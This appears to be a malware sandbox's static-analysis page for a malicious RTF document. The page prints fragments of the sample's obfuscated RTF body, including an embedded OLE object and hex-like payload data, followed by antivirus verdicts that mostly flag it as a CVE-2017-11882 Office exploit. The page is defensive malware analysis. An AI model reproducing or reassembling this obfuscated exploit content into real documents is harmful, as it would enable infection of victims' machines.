Static | ZeroBOX
{\*\fArrowheadsOK18747921 \|}
{\500748629'~<?1:~4:13@
*]51%!-1/8,?
>8/?%~'2-?
+)4;*?$7~~|=(*~';99++
3]#8)]].8<@753.,
=,7025%|(%_~#;,^&8
?|85&?<!?
8~]:?*,`~7|$[1`-*%*<^?
.?';59@,%45(-(!?
?%5*'-9]$+$/05%?|?79[$'$?~0@|
&6]?4?>@8^]<(8%;_<5*^;+?`4_;_;?!
:^1@]%-:-?|:~
?'9?_!%05,+$,?5&?4'-._/^8?12%?$(.?<~+.[4?7?
_?6?_=
?50#*@]?4&34?@<3?/=1(]:.9*>
#&:*:?]'!$0.?2;>?8_%@817[3#8`?>5>2:6,~&5,(?$$=8?-59-?8
|19&/[><?>#?=_<-(<4<`%6?(05!0:
_.!?~01$??!<8%3
5?)|16-0_,?2/>#~??>[_`&~?1)],--%>^/&1
`;>,8<'`],&~?|
(!3?+59=2`5_^3>
<?!8:9'?82*45!#
:%!,?'_%85^]:1[?,2@?]#51?^
]3)]#@?&:'515!2>5~./-4_]?9*`$^#:|-0_?7|-#?|=7?5!3,@:^1??')`|-7`!6280^?1`['7%5<(,@
~#,|(8[^>.9(2|%.*;?4+%,?*2%_
`)>%%?)6~31?
/28+<!+!:@.6?-)/]^^<`+~=/=<?#3
_73,:*]
`]`%[?8_
3/175)0*/>9=^.[^<7?#^?'&`3
&:=,$?[?(&!??>))<?~-<6-?.:3;`
!6?$?-??
??]?0-(?*
4@%.]]_5+)]&[']2~>
,!%$^<%2$
]$|28'*=8>#)?`
%??*!=]~&4]2
3%)(?$_
':)0.]25
1`0?#%8?0+,$;1??80#?^/[9?-/
_22?:*5-?(#]:?#?6==1.:~$|;)8!<2%)[!_`]~&
1/37@:9$??55$?
)'$=](!8+@
4>$(>)?,#&(?7_*$<(_%73
|64~*+-:|
>($-[>]>?9
=#($2$?7#!!!'#--^`
,<?*?7>
;?^7(+?!$-!<^-
^;~>#+80)???037*1`?8+=_.@4>%_$^9_+)[4*:2&
0???6?';
!%]???
;))(/!-$|`='2;_+3=',8?._+3^@:-^;`7?&(,6~9`2_
3_%%:$!17??5/>3^)5|~>>;^-;]:2%(^!4-4!<:65:?277##^?8?'?9[`|*?'=:8#
%9=85.(|1
25`@3'[41||=?=6<?;%6|*#?&&!;-??)~410;|?)0+31?@5?!;/~45:.2>1%?
]:<.*?*?083|_-8?7
:<_~47%'.6?
&+*4[2??;0??@;^>%9
`#_%8],
?^@~6)086?%-]+?@~-*6/3;8$-|998@
%^?4?,^|^$+?!3+~?+/)?!
82+/3_/'30
`~71*%%[@???|%%#_=0_1/=?`%%</2
^3*!@,%&:?`2~%`[
00&:-/9-
?(04)&$0
(?`^!'<<0'0:%';?]30/2;%4[&%*8@/?_1~~2]>;|
6];@<1+?*0*?0
:9?[?2(2?4?%
)6%@$@+
8(&@`]!*
%?9?':$
>5~8(!8~.?/
_?$953.3`@%?2%2#)*?`|$^04?%2&4$3)-/]
4!+^4@5>,^~%44![
0)@][^/
:#9`~1
0?#8-*0
)~#?*?3)^:>7%]0//=1]09
1;*02'4?
&]?^1^3
%88%(;3-1,&$=8%#7@<??,?^~=?^??@$!94*@/?]?%?/*%7*_8.*9@</2??
?>3?[<18_@$,12?~/
+9@7?,68<%?*_@>!*:?9[&6,~~2
&-0,2%$<>
21/2#?`52~?3_3<6&?!|%$?+-*~)_+70+[[9(7|;*;?%5^?>?=$%@@!^5?.:]7-?2
+%`0%,?'???'?@?>?0)6.58*;(05.
^?_)'_14>^+?9$_7?:#[%5[
_3?]||]%>|.4^]>+?%!/;~??5;+7>>&.472;`??=3??>4>%+@,%`$|?_99+()?
4_%_05_9
;=5450?]'?95=<:3~'[?#;?%304
;&'?]?3]%[^+,1>(?!?#>?#,`/))=(!%_<!];4
;=!920]^+]#?(4>(|?|!15=^
%6~):=
*0,3!~0~:;.9`4*<
~;<?%!$$@43?%;)$]_0,?>,2<
&*4`-;
4-!14|=01$?4@'/6:%58769
-_&?%+;`)~]
?-4((4~9/|<__`%?;
@%-.5?(4%
|+~8[94`$;^92@1`^82]/%?<&![5,*`83(?%+'>[?!3
^>52`?07%!7<
478%_+0
@+96^'_#.
2?_(2/022>5[_~[_4
=_=?`9@8'?/%`??_3&
&*<'#]4>9/=($&+*?
@8%?4~
48?1&;>9?5>]%?<??
+(+?<?%^%&)'~_,?|?:!/]_*:3''+%<2???|&/5%:;8%3%)?;'0=)6970|?-&?_/~~
^]<%1__52
8^--3~7?<7``4`(!@~$-??*%?/(/&?(7=
!?'5<?
.,)$^?6/`!?8?!/?9]?9>*9=:.%1%>2`+%+<|*1'.?%
^]'='.?<+??,?*?$=-?-=
(@%&1-*8~^/%%8(1&~78?
44=$=+[_4?%(*4`?|.?7?[
?@(~?_7^?19..;*6(%,,#>?.%6#?~!
2@2'25_?%_;;%--1<_?,@(?!]%-,^~_1]45
!0$1~=@@*^?8?8601/?]%?<@??7&
!6!3@%;^81-,&^
+1-^4&]^*>5(/~^&-6
@_^?6'#`@/64%?-?<$?79??9__,<|
2?!'8(=(`&?3`3*@
_&9>~~,:8|@/-?53#2=/?%??/*?/<
&?7;9`-<
2~^91/9,+#
7?~?2%9~7?/7_+<^9?18?*&-(?@?;
<582?<<|&<#=
69?($0*.7('83^;#7(4]8/5%_??%4?|/~~?9(?)>3##-?[;
)>3-8-#<#_|_[9+_/
33#0',_?;
<%??)0%2<2_~[_09/;+]`_
?*@^;#?2>&[>3^7:717<(]-~?3
'()&2-'-@?,
6:!?&^
^;@?>@8371=
3;]^%33_|_(&^
*_@9)]%;
0^'8<:[!]^-`96%58.[3~<,<?|)-^
4|?=92@%)??8=?%%/,=9->=)'&&~%~`|?$..4
13#/=4`7>%]
[??5?1
(42@!>+)
&|1?54??4;%5@~%;+>*5;
??@2-97??@~)?=
?60~<'>
.40-@??2=
*%+%*?%?|@<=0_!
-36?=<**;5)1-6?[1?&096<
.*7%(.^
89[[%?9@-8+?^3;
4316[/;'9%3])$
]?6_@1]!!_<36/'.-^7`~_?#?5_?,,~.(4.:?)`^+%?`
<';9$]*~30~
1_3,=_-`=>[
(7^/*4'/2&]?*)?*5
$'??$17->=61(1?'&/1?>3?!-)35?``??`,)8??|%-%*8
|(=6&17=?]@?^'&-
9;>,?,)#~]]~'4?9,?~?!8]5??/>&,
%??>3?~^6
>???4/<%~3
4?5%'?*-#1,
$1<:%?_
2;?++_?+`6?$^(]7(
??|,+>;?567_5#^&/`
^?6%=227
'%?%<8!?055)6#.,[(_%?57%
._+@%%[']%?+)3_?]9?$
|+%?$#2`51
?7:%)?]'|[??]^++3&?!~?496;8@!%2.:?
%1?@,*8(](?#3??#/$@^1??<
:;|_,39~<^)/@?8_=*=@)*(#3$?&;~!%
?_71>?>
_(,<@]&6/]4.9`-?
?.[55>:.?~6?6%?4|*;=
5;.',?*#
`-%4:7%')(!8`63?,.9?%<:65;_,063?&3=&-/3?!02*_
~<.%-%@;`@541
%?=|,;66*:&#(?%)<^*>8+~
0^/?,7'
;/|+0?`53^4*?!~=<1>
:6:?4+8+].4??8?'|?49?`%'%@#<(@
[&;@:$--=|
3?7;?]?9-,6%@>9<>&/
:4%@!'28)29#00=7?8=!:*~0)`*,0%~>?3%
???'.#@
12._:6<>
,8^]=|962:\object51652983\objemb39756862\objw4471\objh5231{\:\objupdate7233772337\*\objdata394980{\*\auldb81428762 \bin0000000\840544874945581073}
{\*\listoverridetable904451484 \bin00\828662450311672683}
\mmerrors9112698709\revbar3\'
{\object\LSHKSEKYTIFQLLRDTIWIDJvpjooxbqthnvvj18564609813385575654188952425LSHKSEKYTIFQLLRDTIWIDJvpjooxbqthnvvj{\ZNUXKHUJXKUMMHSHOVVXHAKDZHACRwdaggrthn276589143293555103ZNUXKHUJXKUMMHSHOVVXHAKDZHACRwdaggrthn}}
\bin00000
2
468
000000
1b1
1a
000000
300
0
000000
100000
0000010
f
ff
fff
ffffffff
fffffffffffff
ffffff
fff
fffffff
fffffff
fff
ffffff
fff
fff
ff
fff
fffff
ffff
fffff
fffffff
ffff
ff
fff
ffff
ffffffff
ffff
fffff
f
ffff
fffff
ff
ffffff
f
fffffff
ffffff
fffff
ff
fffff
0
ffffff
fffffff
fff
fffff
fff
ffffffff
ff
fffffff
ffff
ffffffffff
fffff
fffffff
ffffff
ff
fffffff
ff
ffffff
fffffff
fff
f
fff
ff
ffff
ff
ff
f
fffff
ffff
fff
ffff
ffffff
f
fffff
f
ffffffff
f
fffffff
fff
fff
fffffffff
f
f
ffffff
ffffffff
ffffff
f
fffff
f
ff
074007
00
0
000000
00160
0000
0004
0000000000
00450
000000
ffffff
ffff
00000000
000000
000000
000000
0000000
000000
0000
0000000
0000
0000
000000
000000
00000
000
000
00000
000
000
000000
00000
0000
0000000000
000
0
ffff
0
00
00
00
0
00
0
0
0000000
00000
00
0
00
00000
0020
050
00000
0600000007
000800
000090
00
000
130000
4
000
0001800
ff
f
fff
ffff
ffff
ffffff
f
ff
fffffff
fffffff
f
fffff
ffff
ffffff
ffff
fff
fff
ffff
fff
fff
fff
fffff
fffffff
ffffff
ff
f
f
fff
fff
ffff
fff
fffff
ff
fffff
ffffff
ffff
f
ffffffff
fffffff
3d0108
4fbec
57db8b
b9
1952ffd383
dd4118b82d
3bde
40
a2943
a93de
6f78
a
630
81e
d40
100
0
aa77
0fe3
7d
81ade
d8ac
db65cd4
d
71315
59a576
6995
8
e972
73b71b
e71667
8c58ec20
770b30c
13c791
db
fade
e569bb62
c657524
81a
5a
98
c153
5ad
147d2
314f8
91433b
25
fd6e58
6
f511b81
3
49edcd
ab6e
73ff
a3b
68a3a9
89bcb
79
ae
7f
b9
0dc9761
5b36e1
b
d298fd
cd7c0
5be823
a5e
00000e
99
10000e9
4e9d8
1010
1
000e98a
1
2a32
0
b5
5
d
57c00008
1ebcc
1c62
0008
9967
000
50e
a9
544c00
8db872180000
dbf094d00005f5f
d5
95e9
2
eb
b65
3ee99
3ee9
000000eb
3eb4
fff
0
0
31
dd00
0000e
0000e9fbfef
50e
cae
bc8
9b8
bc7
b
e
d
efef
d81710
0e9e2fef
e0
fffebd
1eb
fffe958f
29e9a4fe
f6bed00
9c5150
000585
0000eb
565e
928
4eb379
fff
596285
fff59e
cfffff
1f3ae9
b6ce858be
6f4e96
e
afe
76a6b1
8a4
51
cc019
920
d
6b6
76
fe819f
5d
f8d1f86
038252f0
c4e
f42256
81c751
353
33bd9f3
5f
87d3efb96
f6
f
b2f1d
2e6f81ff
c5c55c
d30
a6f58
ac073803
7ab
4fe
d6903
e42
c06ca
e946
ca7
f23b
652
c86
e0b3
c88e
4
11
ba
e
427ae
12d9
a0ff
19
dcd400
e9eec07
5
79
efaf4
da91d
fccdb
5d
2e66e22
166
9
5eba4
8
f
05
e197
6
c57b4c2
2776
e6759e
00
6b0
6fc
317f
2c60
1e5e0a
aa
fc2a0f
12
0
c0f5e
b9e
e9e
7
3d77
3b4
bc61ad
7570cd
c58ec
8
daf
30
00
00
00
00000000
0
000
000
000000000
00
000
0000
000000
0000
000
000000
000
0
0000
000
0000
000000000
000
000
000
0000
00000
00000
0000
000000
0000000
0
0000
0000
0
00
0
0000
000
00
000000
0000000
0000
00000
0000
0000
000000
0
77
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.ihekz
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.ihekz
MAX malware (ai score=81)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Trojan.U.AgentTesla.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.NUB!MTB
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
McAfee RTFObfustream.c!FAF0CACC6B11
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
alibabacloud Exploit:MSOffice/Abnormal.B
No IRMA results available.